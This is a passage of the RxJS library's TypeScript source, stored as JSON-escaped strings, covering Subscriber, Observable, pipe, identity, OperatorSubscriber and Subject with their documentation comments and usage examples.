Partial> | ((value: T) => void) | null,\n error?: ((e?: any) => void) | null,\n complete?: (() => void) | null\n ) {\n super();\n\n let partialObserver: Partial>;\n if (isFunction(observerOrNext) || !observerOrNext) {\n // The first argument is a function, not an observer. The next\n // two arguments *could* be observers, or they could be empty.\n partialObserver = {\n next: (observerOrNext ?? undefined) as (((value: T) => void) | undefined),\n error: error ?? undefined,\n complete: complete ?? undefined,\n };\n } else {\n // The first argument is a partial observer.\n let context: any;\n if (this && config.useDeprecatedNextContext) {\n // This is a deprecated path that made `this.unsubscribe()` available in\n // next handler functions passed to subscribe. This only exists behind a flag\n // now, as it is *very* slow.\n context = Object.create(observerOrNext);\n context.unsubscribe = () => this.unsubscribe();\n partialObserver = {\n next: observerOrNext.next && bind(observerOrNext.next, context),\n error: observerOrNext.error && bind(observerOrNext.error, context),\n complete: observerOrNext.complete && bind(observerOrNext.complete, context),\n };\n } else {\n // The \"normal\" path. Just use the partial observer directly.\n partialObserver = observerOrNext;\n }\n }\n\n // Wrap the partial observer to ensure it's a full observer, and\n // make sure proper error handling is accounted for.\n this.destination = new ConsumerObserver(partialObserver);\n }\n}\n\nfunction handleUnhandledError(error: any) {\n if (config.useDeprecatedSynchronousErrorHandling) {\n captureError(error);\n } else {\n // Ideal path, we report this as an unhandled error,\n // which is thrown on a new call stack.\n reportUnhandledError(error);\n }\n}\n\n/**\n * An error handler used when no error handler was supplied\n * to the SafeSubscriber -- meaning no error handler was supplied\n * do the `subscribe` call on our observable.\n * @param err The error to handle\n */\nfunction defaultErrorHandler(err: any) {\n throw err;\n}\n\n/**\n * A handler for notifications that cannot be sent to a stopped subscriber.\n * @param notification The notification being sent\n * @param subscriber The stopped subscriber\n */\nfunction handleStoppedNotification(notification: ObservableNotification, subscriber: Subscriber) {\n const { onStoppedNotification } = config;\n onStoppedNotification && timeoutProvider.setTimeout(() => onStoppedNotification(notification, subscriber));\n}\n\n/**\n * The observer used as a stub for subscriptions where the user did not\n * pass any arguments to `subscribe`. Comes with the default error handling\n * behavior.\n */\nexport const EMPTY_OBSERVER: Readonly> & { closed: true } = {\n closed: true,\n next: noop,\n error: defaultErrorHandler,\n complete: noop,\n};\n", "/**\n * Symbol.observable or a string \"@@observable\". Used for interop\n *\n * @deprecated We will no longer be exporting this symbol in upcoming versions of RxJS.\n * Instead polyfill and use Symbol.observable directly *or* use https://www.npmjs.com/package/symbol-observable\n */\nexport const observable: string | symbol = (() => (typeof Symbol === 'function' && Symbol.observable) || '@@observable')();\n", "/**\n * This function takes one parameter and just returns it. Simply put,\n * this is like `(x: T): T => x`.\n *\n * ## Examples\n *\n * This is useful in some cases when using things like `mergeMap`\n *\n * ```ts\n * import { interval, take, map, range, mergeMap, identity } from 'rxjs';\n *\n * const source$ = interval(1000).pipe(take(5));\n *\n * const result$ = source$.pipe(\n * map(i => range(i)),\n * mergeMap(identity) // same as mergeMap(x => x)\n * );\n *\n * result$.subscribe({\n * next: console.log\n * });\n * ```\n *\n * Or when you want to selectively apply an operator\n *\n * ```ts\n * import { interval, take, identity } from 'rxjs';\n *\n * const shouldLimit = () => Math.random() < 0.5;\n *\n * const source$ = interval(1000);\n *\n * const result$ = source$.pipe(shouldLimit() ? take(5) : identity);\n *\n * result$.subscribe({\n * next: console.log\n * });\n * ```\n *\n * @param x Any value that is returned by this function\n * @returns The value passed as the first parameter to this function\n */\nexport function identity(x: T): T {\n return x;\n}\n", "import { identity } from './identity';\nimport { UnaryFunction } from '../types';\n\nexport function pipe(): typeof identity;\nexport function pipe(fn1: UnaryFunction): UnaryFunction;\nexport function pipe(fn1: UnaryFunction, fn2: UnaryFunction): UnaryFunction;\nexport function pipe(fn1: UnaryFunction, fn2: UnaryFunction, fn3: UnaryFunction): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction,\n fn8: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction,\n fn8: UnaryFunction,\n fn9: UnaryFunction\n): UnaryFunction;\nexport function pipe(\n fn1: UnaryFunction,\n fn2: UnaryFunction,\n fn3: UnaryFunction,\n fn4: UnaryFunction,\n fn5: UnaryFunction,\n fn6: UnaryFunction,\n fn7: UnaryFunction,\n fn8: UnaryFunction,\n fn9: UnaryFunction,\n ...fns: UnaryFunction[]\n): UnaryFunction;\n\n/**\n * pipe() can be called on one or more functions, each of which can take one argument (\"UnaryFunction\")\n * and uses it to return a value.\n * It returns a function that takes one argument, passes it to the first UnaryFunction, and then\n * passes the result to the next one, passes that result to the next one, and so on. \n */\nexport function pipe(...fns: Array>): UnaryFunction {\n return pipeFromArray(fns);\n}\n\n/** @internal */\nexport function pipeFromArray(fns: Array>): UnaryFunction {\n if (fns.length === 0) {\n return identity as UnaryFunction;\n }\n\n if (fns.length === 1) {\n return fns[0];\n }\n\n return function piped(input: T): R {\n return fns.reduce((prev: any, fn: UnaryFunction) => fn(prev), input as any);\n };\n}\n", "import { Operator } from './Operator';\nimport { SafeSubscriber, Subscriber } from './Subscriber';\nimport { isSubscription, Subscription } from './Subscription';\nimport { TeardownLogic, OperatorFunction, Subscribable, Observer } from './types';\nimport { observable as Symbol_observable } from './symbol/observable';\nimport { pipeFromArray } from './util/pipe';\nimport { config } from './config';\nimport { isFunction } from './util/isFunction';\nimport { errorContext } from './util/errorContext';\n\n/**\n * A representation of any set of values over any amount of time. This is the most basic building block\n * of RxJS.\n *\n * @class Observable\n */\nexport class Observable implements Subscribable {\n /**\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n */\n source: Observable | undefined;\n\n /**\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n */\n operator: Operator | undefined;\n\n /**\n * @constructor\n * @param {Function} subscribe the function that is called when the Observable is\n * initially subscribed to. This function is given a Subscriber, to which new values\n * can be `next`ed, or an `error` method can be called to raise an error, or\n * `complete` can be called to notify of a successful completion.\n */\n constructor(subscribe?: (this: Observable, subscriber: Subscriber) => TeardownLogic) {\n if (subscribe) {\n this._subscribe = subscribe;\n }\n }\n\n // HACK: Since TypeScript inherits static properties too, we have to\n // fight against TypeScript here so Subject can have a different static create signature\n /**\n * Creates a new Observable by calling the Observable constructor\n * @owner Observable\n * @method create\n * @param {Function} subscribe? the subscriber function to be passed to the Observable constructor\n * @return {Observable} a new observable\n * @nocollapse\n * @deprecated Use `new Observable()` instead. Will be removed in v8.\n */\n static create: (...args: any[]) => any = (subscribe?: (subscriber: Subscriber) => TeardownLogic) => {\n return new Observable(subscribe);\n };\n\n /**\n * Creates a new Observable, with this Observable instance as the source, and the passed\n * operator defined as the new observable's operator.\n * @method lift\n * @param operator the operator defining the operation to take on the observable\n * @return a new observable with the Operator applied\n * @deprecated Internal implementation detail, do not use directly. Will be made internal in v8.\n * If you have implemented an operator using `lift`, it is recommended that you create an\n * operator by simply returning `new Observable()` directly. See \"Creating new operators from\n * scratch\" section here: https://rxjs.dev/guide/operators\n */\n lift(operator?: Operator): Observable {\n const observable = new Observable();\n observable.source = this;\n observable.operator = operator;\n return observable;\n }\n\n subscribe(observerOrNext?: Partial> | ((value: T) => void)): Subscription;\n /** @deprecated Instead of passing separate callback arguments, use an observer argument. Signatures taking separate callback arguments will be removed in v8. Details: https://rxjs.dev/deprecations/subscribe-arguments */\n subscribe(next?: ((value: T) => void) | null, error?: ((error: any) => void) | null, complete?: (() => void) | null): Subscription;\n /**\n * Invokes an execution of an Observable and registers Observer handlers for notifications it will emit.\n *\n * Use it when you have all these Observables, but still nothing is happening.\n *\n * `subscribe` is not a regular operator, but a method that calls Observable's internal `subscribe` function. It\n * might be for example a function that you passed to Observable's constructor, but most of the time it is\n * a library implementation, which defines what will be emitted by an Observable, and when it be will emitted. This means\n * that calling `subscribe` is actually the moment when Observable starts its work, not when it is created, as it is often\n * the thought.\n *\n * Apart from starting the execution of an Observable, this method allows you to listen for values\n * that an Observable emits, as well as for when it completes or errors. You can achieve this in two\n * of the following ways.\n *\n * The first way is creating an object that implements {@link Observer} interface. It should have methods\n * defined by that interface, but note that it should be just a regular JavaScript object, which you can create\n * yourself in any way you want (ES6 class, classic function constructor, object literal etc.). In particular, do\n * not attempt to use any RxJS implementation details to create Observers - you don't need them. Remember also\n * that your object does not have to implement all methods. If you find yourself creating a method that doesn't\n * do anything, you can simply omit it. Note however, if the `error` method is not provided and an error happens,\n * it will be thrown asynchronously. Errors thrown asynchronously cannot be caught using `try`/`catch`. Instead,\n * use the {@link onUnhandledError} configuration option or use a runtime handler (like `window.onerror` or\n * `process.on('error)`) to be notified of unhandled errors. Because of this, it's recommended that you provide\n * an `error` method to avoid missing thrown errors.\n *\n * The second way is to give up on Observer object altogether and simply provide callback functions in place of its methods.\n * This means you can provide three functions as arguments to `subscribe`, where the first function is equivalent\n * of a `next` method, the second of an `error` method and the third of a `complete` method. Just as in case of an Observer,\n * if you do not need to listen for something, you can omit a function by passing `undefined` or `null`,\n * since `subscribe` recognizes these functions by where they were placed in function call. When it comes\n * to the `error` function, as with an Observer, if not provided, errors emitted by an Observable will be thrown asynchronously.\n *\n * You can, however, subscribe with no parameters at all. This may be the case where you're not interested in terminal events\n * and you also handled emissions internally by using operators (e.g. using `tap`).\n *\n * Whichever style of calling `subscribe` you use, in both cases it returns a Subscription object.\n * This object allows you to call `unsubscribe` on it, which in turn will stop the work that an Observable does and will clean\n * up all resources that an Observable used. Note that cancelling a subscription will not call `complete` callback\n * provided to `subscribe` function, which is reserved for a regular completion signal that comes from an Observable.\n *\n * Remember that callbacks provided to `subscribe` are not guaranteed to be called asynchronously.\n * It is an Observable itself that decides when these functions will be called. For example {@link of}\n * by default emits all its values synchronously. Always check documentation for how given Observable\n * will behave when subscribed and if its default behavior can be modified with a `scheduler`.\n *\n * #### Examples\n *\n * Subscribe with an {@link guide/observer Observer}\n *\n * ```ts\n * import { of } from 'rxjs';\n *\n * const sumObserver = {\n * sum: 0,\n * next(value) {\n * console.log('Adding: ' + value);\n * this.sum = this.sum + value;\n * },\n * error() {\n * // We actually could just remove this method,\n * // since we do not really care about errors right now.\n * },\n * complete() {\n * console.log('Sum equals: ' + this.sum);\n * }\n * };\n *\n * of(1, 2, 3) // Synchronously emits 1, 2, 3 and then completes.\n * .subscribe(sumObserver);\n *\n * // Logs:\n * // 'Adding: 1'\n * // 'Adding: 2'\n * // 'Adding: 3'\n * // 'Sum equals: 6'\n * ```\n *\n * Subscribe with functions ({@link deprecations/subscribe-arguments deprecated})\n *\n * ```ts\n * import { of } from 'rxjs'\n *\n * let sum = 0;\n *\n * of(1, 2, 3).subscribe(\n * value => {\n * console.log('Adding: ' + value);\n * sum = sum + value;\n * },\n * undefined,\n * () => console.log('Sum equals: ' + sum)\n * );\n *\n * // Logs:\n * // 'Adding: 1'\n * // 'Adding: 2'\n * // 'Adding: 3'\n * // 'Sum equals: 6'\n * ```\n *\n * Cancel a subscription\n *\n * ```ts\n * import { interval } from 'rxjs';\n *\n * const subscription = interval(1000).subscribe({\n * next(num) {\n * console.log(num)\n * },\n * complete() {\n * // Will not be called, even when cancelling subscription.\n * console.log('completed!');\n * }\n * });\n *\n * setTimeout(() => {\n * subscription.unsubscribe();\n * console.log('unsubscribed!');\n * }, 2500);\n *\n * // Logs:\n * // 0 after 1s\n * // 1 after 2s\n * // 'unsubscribed!' after 2.5s\n * ```\n *\n * @param {Observer|Function} observerOrNext (optional) Either an observer with methods to be called,\n * or the first of three possible handlers, which is the handler for each value emitted from the subscribed\n * Observable.\n * @param {Function} error (optional) A handler for a terminal event resulting from an error. If no error handler is provided,\n * the error will be thrown asynchronously as unhandled.\n * @param {Function} complete (optional) A handler for a terminal event resulting from successful completion.\n * @return {Subscription} a subscription reference to the registered handlers\n * @method subscribe\n */\n subscribe(\n observerOrNext?: Partial> | ((value: T) => void) | null,\n error?: ((error: any) => void) | null,\n complete?: (() => void) | null\n ): Subscription {\n const subscriber = isSubscriber(observerOrNext) ? observerOrNext : new SafeSubscriber(observerOrNext, error, complete);\n\n errorContext(() => {\n const { operator, source } = this;\n subscriber.add(\n operator\n ? // We're dealing with a subscription in the\n // operator chain to one of our lifted operators.\n operator.call(subscriber, source)\n : source\n ? // If `source` has a value, but `operator` does not, something that\n // had intimate knowledge of our API, like our `Subject`, must have\n // set it. We're going to just call `_subscribe` directly.\n this._subscribe(subscriber)\n : // In all other cases, we're likely wrapping a user-provided initializer\n // function, so we need to catch errors and handle them appropriately.\n this._trySubscribe(subscriber)\n );\n });\n\n return subscriber;\n }\n\n /** @internal */\n protected _trySubscribe(sink: Subscriber): TeardownLogic {\n try {\n return this._subscribe(sink);\n } catch (err) {\n // We don't need to return anything in this case,\n // because it's just going to try to `add()` to a subscription\n // above.\n sink.error(err);\n }\n }\n\n /**\n * Used as a NON-CANCELLABLE means of subscribing to an observable, for use with\n * APIs that expect promises, like `async/await`. You cannot unsubscribe from this.\n *\n * **WARNING**: Only use this with observables you *know* will complete. If the source\n * observable does not complete, you will end up with a promise that is hung up, and\n * potentially all of the state of an async function hanging out in memory. To avoid\n * this situation, look into adding something like {@link timeout}, {@link take},\n * {@link takeWhile}, or {@link takeUntil} amongst others.\n *\n * #### Example\n *\n * ```ts\n * import { interval, take } from 'rxjs';\n *\n * const source$ = interval(1000).pipe(take(4));\n *\n * async function getTotal() {\n * let total = 0;\n *\n * await source$.forEach(value => {\n * total += value;\n * console.log('observable -> ' + value);\n * });\n *\n * return total;\n * }\n *\n * getTotal().then(\n * total => console.log('Total: ' + total)\n * );\n *\n * // Expected:\n * // 'observable -> 0'\n * // 'observable -> 1'\n * // 'observable -> 2'\n * // 'observable -> 3'\n * // 'Total: 6'\n * ```\n *\n * @param next a handler for each value emitted by the observable\n * @return a promise that either resolves on observable completion or\n * rejects with the handled error\n */\n forEach(next: (value: T) => void): Promise;\n\n /**\n * @param next a handler for each value emitted by the observable\n * @param promiseCtor a constructor function used to instantiate the Promise\n * @return a promise that either resolves on observable completion or\n * rejects with the handled error\n * @deprecated Passing a Promise constructor will no longer be available\n * in upcoming versions of RxJS. This is because it adds weight to the library, for very\n * little benefit. If you need this functionality, it is recommended that you either\n * polyfill Promise, or you create an adapter to convert the returned native promise\n * to whatever promise implementation you wanted. Will be removed in v8.\n */\n forEach(next: (value: T) => void, promiseCtor: PromiseConstructorLike): Promise;\n\n forEach(next: (value: T) => void, promiseCtor?: PromiseConstructorLike): Promise {\n promiseCtor = getPromiseCtor(promiseCtor);\n\n return new promiseCtor((resolve, reject) => {\n const subscriber = new SafeSubscriber({\n next: (value) => {\n try {\n next(value);\n } catch (err) {\n reject(err);\n subscriber.unsubscribe();\n }\n },\n error: reject,\n complete: resolve,\n });\n this.subscribe(subscriber);\n }) as Promise;\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): TeardownLogic {\n return this.source?.subscribe(subscriber);\n }\n\n /**\n * An interop point defined by the es7-observable spec https://github.com/zenparsing/es-observable\n * @method Symbol.observable\n * @return {Observable} this instance of the observable\n */\n [Symbol_observable]() {\n return this;\n }\n\n /* tslint:disable:max-line-length */\n pipe(): Observable;\n pipe(op1: OperatorFunction): Observable;\n pipe(op1: OperatorFunction, op2: OperatorFunction): Observable;\n pipe(op1: OperatorFunction, op2: OperatorFunction, op3: OperatorFunction): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction,\n op8: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction,\n op8: OperatorFunction,\n op9: OperatorFunction\n ): Observable;\n pipe(\n op1: OperatorFunction,\n op2: OperatorFunction,\n op3: OperatorFunction,\n op4: OperatorFunction,\n op5: OperatorFunction,\n op6: OperatorFunction,\n op7: OperatorFunction,\n op8: OperatorFunction,\n op9: OperatorFunction,\n ...operations: OperatorFunction[]\n ): Observable;\n /* tslint:enable:max-line-length */\n\n /**\n * Used to stitch together functional operators into a chain.\n * @method pipe\n * @return {Observable} the Observable result of all of the operators having\n * been called in the order they were passed in.\n *\n * ## Example\n *\n * ```ts\n * import { interval, filter, map, scan } from 'rxjs';\n *\n * interval(1000)\n * .pipe(\n * filter(x => x % 2 === 0),\n * map(x => x + x),\n * scan((acc, x) => acc + x)\n * )\n * .subscribe(x => console.log(x));\n * ```\n */\n pipe(...operations: OperatorFunction[]): Observable {\n return pipeFromArray(operations)(this);\n }\n\n /* tslint:disable:max-line-length */\n /** @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise */\n toPromise(): Promise;\n /** @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise */\n toPromise(PromiseCtor: typeof Promise): Promise;\n /** @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise */\n toPromise(PromiseCtor: PromiseConstructorLike): Promise;\n /* tslint:enable:max-line-length */\n\n /**\n * Subscribe to this Observable and get a Promise resolving on\n * `complete` with the last emission (if any).\n *\n * **WARNING**: Only use this with observables you *know* will complete. If the source\n * observable does not complete, you will end up with a promise that is hung up, and\n * potentially all of the state of an async function hanging out in memory. To avoid\n * this situation, look into adding something like {@link timeout}, {@link take},\n * {@link takeWhile}, or {@link takeUntil} amongst others.\n *\n * @method toPromise\n * @param [promiseCtor] a constructor function used to instantiate\n * the Promise\n * @return A Promise that resolves with the last value emit, or\n * rejects on an error. If there were no emissions, Promise\n * resolves with undefined.\n * @deprecated Replaced with {@link firstValueFrom} and {@link lastValueFrom}. Will be removed in v8. Details: https://rxjs.dev/deprecations/to-promise\n */\n toPromise(promiseCtor?: PromiseConstructorLike): Promise {\n promiseCtor = getPromiseCtor(promiseCtor);\n\n return new promiseCtor((resolve, reject) => {\n let value: T | undefined;\n this.subscribe(\n (x: T) => (value = x),\n (err: any) => reject(err),\n () => resolve(value)\n );\n }) as Promise;\n }\n}\n\n/**\n * Decides between a passed promise constructor from consuming code,\n * A default configured promise constructor, and the native promise\n * constructor and returns it. If nothing can be found, it will throw\n * an error.\n * @param promiseCtor The optional promise constructor to passed by consuming code\n */\nfunction getPromiseCtor(promiseCtor: PromiseConstructorLike | undefined) {\n return promiseCtor ?? config.Promise ?? Promise;\n}\n\nfunction isObserver(value: any): value is Observer {\n return value && isFunction(value.next) && isFunction(value.error) && isFunction(value.complete);\n}\n\nfunction isSubscriber(value: any): value is Subscriber {\n return (value && value instanceof Subscriber) || (isObserver(value) && isSubscription(value));\n}\n", "import { Observable } from '../Observable';\nimport { Subscriber } from '../Subscriber';\nimport { OperatorFunction } from '../types';\nimport { isFunction } from './isFunction';\n\n/**\n * Used to determine if an object is an Observable with a lift function.\n */\nexport function hasLift(source: any): source is { lift: InstanceType['lift'] } {\n return isFunction(source?.lift);\n}\n\n/**\n * Creates an `OperatorFunction`. Used to define operators throughout the library in a concise way.\n * @param init The logic to connect the liftedSource to the subscriber at the moment of subscription.\n */\nexport function operate(\n init: (liftedSource: Observable, subscriber: Subscriber) => (() => void) | void\n): OperatorFunction {\n return (source: Observable) => {\n if (hasLift(source)) {\n return source.lift(function (this: Subscriber, liftedSource: Observable) {\n try {\n return init(liftedSource, this);\n } catch (err) {\n this.error(err);\n }\n });\n }\n throw new TypeError('Unable to lift unknown Observable type');\n };\n}\n", "import { Subscriber } from '../Subscriber';\n\n/**\n * Creates an instance of an `OperatorSubscriber`.\n * @param destination The downstream subscriber.\n * @param onNext Handles next values, only called if this subscriber is not stopped or closed. Any\n * error that occurs in this function is caught and sent to the `error` method of this subscriber.\n * @param onError Handles errors from the subscription, any errors that occur in this handler are caught\n * and send to the `destination` error handler.\n * @param onComplete Handles completion notification from the subscription. Any errors that occur in\n * this handler are sent to the `destination` error handler.\n * @param onFinalize Additional teardown logic here. This will only be called on teardown if the\n * subscriber itself is not already closed. This is called after all other teardown logic is executed.\n */\nexport function createOperatorSubscriber(\n destination: Subscriber,\n onNext?: (value: T) => void,\n onComplete?: () => void,\n onError?: (err: any) => void,\n onFinalize?: () => void\n): Subscriber {\n return new OperatorSubscriber(destination, onNext, onComplete, onError, onFinalize);\n}\n\n/**\n * A generic helper for allowing operators to be created with a Subscriber and\n * use closures to capture necessary state from the operator function itself.\n */\nexport class OperatorSubscriber extends Subscriber {\n /**\n * Creates an instance of an `OperatorSubscriber`.\n * @param destination The downstream subscriber.\n * @param onNext Handles next values, only called if this subscriber is not stopped or closed. Any\n * error that occurs in this function is caught and sent to the `error` method of this subscriber.\n * @param onError Handles errors from the subscription, any errors that occur in this handler are caught\n * and send to the `destination` error handler.\n * @param onComplete Handles completion notification from the subscription. Any errors that occur in\n * this handler are sent to the `destination` error handler.\n * @param onFinalize Additional finalization logic here. This will only be called on finalization if the\n * subscriber itself is not already closed. This is called after all other finalization logic is executed.\n * @param shouldUnsubscribe An optional check to see if an unsubscribe call should truly unsubscribe.\n * NOTE: This currently **ONLY** exists to support the strange behavior of {@link groupBy}, where unsubscription\n * to the resulting observable does not actually disconnect from the source if there are active subscriptions\n * to any grouped observable. (DO NOT EXPOSE OR USE EXTERNALLY!!!)\n */\n constructor(\n destination: Subscriber,\n onNext?: (value: T) => void,\n onComplete?: () => void,\n onError?: (err: any) => void,\n private onFinalize?: () => void,\n private shouldUnsubscribe?: () => boolean\n ) {\n // It's important - for performance reasons - that all of this class's\n // members are initialized and that they are always initialized in the same\n // order. This will ensure that all OperatorSubscriber instances have the\n // same hidden class in V8. This, in turn, will help keep the number of\n // hidden classes involved in property accesses within the base class as\n // low as possible. If the number of hidden classes involved exceeds four,\n // the property accesses will become megamorphic and performance penalties\n // will be incurred - i.e. inline caches won't be used.\n //\n // The reasons for ensuring all instances have the same hidden class are\n // further discussed in this blog post from Benedikt Meurer:\n // https://benediktmeurer.de/2018/03/23/impact-of-polymorphism-on-component-based-frameworks-like-react/\n super(destination);\n this._next = onNext\n ? function (this: OperatorSubscriber, value: T) {\n try {\n onNext(value);\n } catch (err) {\n destination.error(err);\n }\n }\n : super._next;\n this._error = onError\n ? function (this: OperatorSubscriber, err: any) {\n try {\n onError(err);\n } catch (err) {\n // Send any errors that occur down stream.\n destination.error(err);\n } finally {\n // Ensure finalization.\n this.unsubscribe();\n }\n }\n : super._error;\n this._complete = onComplete\n ? function (this: OperatorSubscriber) {\n try {\n onComplete();\n } catch (err) {\n // Send any errors that occur down stream.\n destination.error(err);\n } finally {\n // Ensure finalization.\n this.unsubscribe();\n }\n }\n : super._complete;\n }\n\n unsubscribe() {\n if (!this.shouldUnsubscribe || this.shouldUnsubscribe()) {\n const { closed } = this;\n super.unsubscribe();\n // Execute additional teardown if we have any and we didn't already do so.\n !closed && this.onFinalize?.();\n }\n }\n}\n", "import { Subscription } from '../Subscription';\n\ninterface AnimationFrameProvider {\n schedule(callback: FrameRequestCallback): Subscription;\n requestAnimationFrame: typeof requestAnimationFrame;\n cancelAnimationFrame: typeof cancelAnimationFrame;\n delegate:\n | {\n requestAnimationFrame: typeof requestAnimationFrame;\n cancelAnimationFrame: typeof cancelAnimationFrame;\n }\n | undefined;\n}\n\nexport const animationFrameProvider: AnimationFrameProvider = {\n // When accessing the delegate, use the variable rather than `this` so that\n // the functions can be called without being bound to the provider.\n schedule(callback) {\n let request = requestAnimationFrame;\n let cancel: typeof cancelAnimationFrame | undefined = cancelAnimationFrame;\n const { delegate } = animationFrameProvider;\n if (delegate) {\n request = delegate.requestAnimationFrame;\n cancel = delegate.cancelAnimationFrame;\n }\n const handle = request((timestamp) => {\n // Clear the cancel function. The request has been fulfilled, so\n // attempting to cancel the request upon unsubscription would be\n // pointless.\n cancel = undefined;\n callback(timestamp);\n });\n return new Subscription(() => cancel?.(handle));\n },\n requestAnimationFrame(...args) {\n const { delegate } = animationFrameProvider;\n return (delegate?.requestAnimationFrame || requestAnimationFrame)(...args);\n },\n cancelAnimationFrame(...args) {\n const { delegate } = animationFrameProvider;\n return (delegate?.cancelAnimationFrame || cancelAnimationFrame)(...args);\n },\n delegate: undefined,\n};\n", "import { createErrorClass } from './createErrorClass';\n\nexport interface ObjectUnsubscribedError extends Error {}\n\nexport interface ObjectUnsubscribedErrorCtor {\n /**\n * @deprecated Internal implementation detail. Do not construct error instances.\n * Cannot be tagged as internal: https://github.com/ReactiveX/rxjs/issues/6269\n */\n new (): ObjectUnsubscribedError;\n}\n\n/**\n * An error thrown when an action is invalid because the object has been\n * unsubscribed.\n *\n * @see {@link Subject}\n * @see {@link BehaviorSubject}\n *\n * @class ObjectUnsubscribedError\n */\nexport const ObjectUnsubscribedError: ObjectUnsubscribedErrorCtor = createErrorClass(\n (_super) =>\n function ObjectUnsubscribedErrorImpl(this: any) {\n _super(this);\n this.name = 'ObjectUnsubscribedError';\n this.message = 'object unsubscribed';\n }\n);\n", "import { Operator } from './Operator';\nimport { Observable } from './Observable';\nimport { Subscriber } from './Subscriber';\nimport { Subscription, EMPTY_SUBSCRIPTION } from './Subscription';\nimport { Observer, SubscriptionLike, TeardownLogic } from './types';\nimport { ObjectUnsubscribedError } from './util/ObjectUnsubscribedError';\nimport { arrRemove } from './util/arrRemove';\nimport { errorContext } from './util/errorContext';\n\n/**\n * A Subject is a special type of Observable that allows values to be\n * multicasted to many Observers. Subjects are like EventEmitters.\n *\n * Every Subject is an Observable and an Observer. You can subscribe to a\n * Subject, and you can call next to feed values as well as error and complete.\n */\nexport class Subject extends Observable implements SubscriptionLike {\n closed = false;\n\n private currentObservers: Observer[] | null = null;\n\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n observers: Observer[] = [];\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n isStopped = false;\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n hasError = false;\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n thrownError: any = null;\n\n /**\n * Creates a \"subject\" by basically gluing an observer to an observable.\n *\n * @nocollapse\n * @deprecated Recommended you do not use. Will be removed at some point in the future. Plans for replacement still under discussion.\n */\n static create: (...args: any[]) => any = (destination: Observer, source: Observable): AnonymousSubject => {\n return new AnonymousSubject(destination, source);\n };\n\n constructor() {\n // NOTE: This must be here to obscure Observable's constructor.\n super();\n }\n\n /** @deprecated Internal implementation detail, do not use directly. Will be made internal in v8. */\n lift(operator: Operator): Observable {\n const subject = new AnonymousSubject(this, this);\n subject.operator = operator as any;\n return subject as any;\n }\n\n /** @internal */\n protected _throwIfClosed() {\n if (this.closed) {\n throw new ObjectUnsubscribedError();\n }\n }\n\n next(value: T) {\n errorContext(() => {\n this._throwIfClosed();\n if (!this.isStopped) {\n if (!this.currentObservers) {\n this.currentObservers = Array.from(this.observers);\n }\n for (const observer of this.currentObservers) {\n observer.next(value);\n }\n }\n });\n }\n\n error(err: any) {\n errorContext(() => {\n this._throwIfClosed();\n if (!this.isStopped) {\n this.hasError = this.isStopped = true;\n this.thrownError = err;\n const { observers } = this;\n while (observers.length) {\n observers.shift()!.error(err);\n }\n }\n });\n }\n\n complete() {\n errorContext(() => {\n this._throwIfClosed();\n if (!this.isStopped) {\n this.isStopped = true;\n const { observers } = this;\n while (observers.length) {\n observers.shift()!.complete();\n }\n }\n });\n }\n\n unsubscribe() {\n this.isStopped = this.closed = true;\n this.observers = this.currentObservers = null!;\n }\n\n get observed() {\n return this.observers?.length > 0;\n }\n\n /** @internal */\n protected _trySubscribe(subscriber: Subscriber): TeardownLogic {\n this._throwIfClosed();\n return super._trySubscribe(subscriber);\n }\n\n /** @internal */\n protected _subscribe(subscriber: Subscriber): Subscription {\n this._throwIfClosed();\n this._checkFinalizedStatuses(subscriber);\n return this._innerSubscribe(subscriber);\n }\n\n /** @internal */\n protected _innerSubscribe(subscriber: Subscriber) {\n const { hasError, 